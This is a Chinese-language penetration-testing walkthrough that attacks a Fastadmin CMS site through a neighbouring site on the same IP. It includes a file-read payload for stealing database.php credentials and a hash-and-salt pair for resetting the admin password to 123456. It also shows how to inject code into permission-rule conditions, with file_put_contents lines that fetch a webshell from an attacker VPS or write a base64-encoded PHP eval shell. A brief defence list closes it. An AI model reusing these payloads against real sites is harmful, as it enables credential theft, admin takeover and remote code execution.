既然所给资产攻破无果,那就转旁站GetShell获取权限
字数 1515 2025-09-01 11:26:17
Fastadmin CMS渗透测试实战教学文档
0x00 背景概述
本教学文档基于一次真实的Fastadmin CMS渗透测试案例,展示了从资产发现到最终GetShell的完整过程。目标系统为Fastadmin搭建的网站,通过旁站攻击技术成功获取权限。
0x01 初始资产分析
- 给定资产格式:
http://ww.baidu.com/cpdd(二级路径) - 初始尝试:
- 爆破后台登录(无验证码)
- 爆破失败后转向根目录分析
- CMS识别:
- 通过访问不存在的路径触发报错页面
- 确认系统为Fastadmin CMS
0x02 Fastadmin任意文件读取漏洞
- 标准漏洞利用:
- 尝试利用Fastadmin已知的任意文件读取漏洞
- 典型Payload:
/index.php/api/terminal/index.html?file=../application/database.php - 预期结果:读取数据库配置文件
- 主站防御:
- 主站漏洞已修复(返回NotFound或无效内容)
- 转向旁站分析
0x03 旁站攻击技术
- 资产发现:
- 通过搜索引擎发现同IP下的旁站
- 确认旁站也使用Fastadmin且存在漏洞
- 成功利用:
- 旁站存在任意文件读取漏洞
- 成功读取数据库配置文件
- 获取数据库连接信息(用户名、密码、数据库名)
0x04 数据库操作
- 连接数据库:
- 使用Navicat等工具连接MySQL
- 访问
fa_admin_log表获取后台操作日志
- 后台路径获取:
- 分析日志确定被修改过的后台入口文件
- 常见默认路径:
admin.php(可能被修改)
0x05 管理员密码重置
- 密码存储机制:
- 密码以"密文+salt"形式存储在
fa_admin表 - 常见加密方式:MD5加盐
- 密码以"密文+salt"形式存储在
- 密码重置技术:
- 保存原始密文和salt(避免影响业务)
- 使用已知Fastadmin重置密码组合:
- 密文:
c13f62012fd6a8fdf06b3452a94430e5 - Salt:
rpR6Bv - 对应密码:
123456
- 密文:
- 登录后恢复原始密码
0x06 GetShell技术
方法一:插件上传(已失效)
- 老版本可通过上传"在线文件管理"插件GetShell
- 当前版本限制:
- 无法安装该插件
- 官网提供付费版本
方法二:权限规则注入
- 前提条件:
- 需要管理员权限
- 了解网站绝对路径(通过phpinfo获取)
- 实施步骤:
步骤1:配置phpinfo
- 编辑权限规则(auth)
- 在"规则条件"中插入:
phpinfo() - 注意:不能插入完整PHP结构代码
步骤2:触发执行
- 创建二级管理员账号
- 使用该账号登录触发phpinfo
- 从phpinfo中获取
document_root(网站绝对路径)
步骤3:Webshell写入
方法A:远程下载
- 在VPS上搭建HTTP服务
- 放置Webshell文件
- 在规则条件中插入:
file_put_contents('/path/to/shell.php', file_get_contents('http://your-vps/shell.txt'))
方法B:编码分批写入
- 对Webshell代码进行base64编码
- 第一阶段:写入编码内容
file_put_contents('/path/to/tmp.txt', 'PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==')
- 第二阶段:解码写入
file_put_contents('/path/to/shell.php', base64_decode(file_get_contents('/path/to/tmp.txt')))
0x07 防御建议
- 及时更新Fastadmin到最新版本
- 修改默认后台路径和敏感文件权限
- 数据库配置:
- 使用强密码
- 限制远程连接IP
- 日志监控:
- 定期检查异常登录和操作
- 权限控制:
- 严格管理后台用户权限
- 避免使用简单密码
0x08 总结
本案例展示了从Fastadmin CMS漏洞发现到最终GetShell的完整过程,重点技术包括:
- CMS识别与漏洞验证
- 旁站攻击技术
- 数据库操作与密码重置
- 权限规则注入GetShell
- 两种Webshell写入方法
通过此案例,安全人员可以了解Fastadmin的常见安全问题及攻击手法,同时为防御提供参考。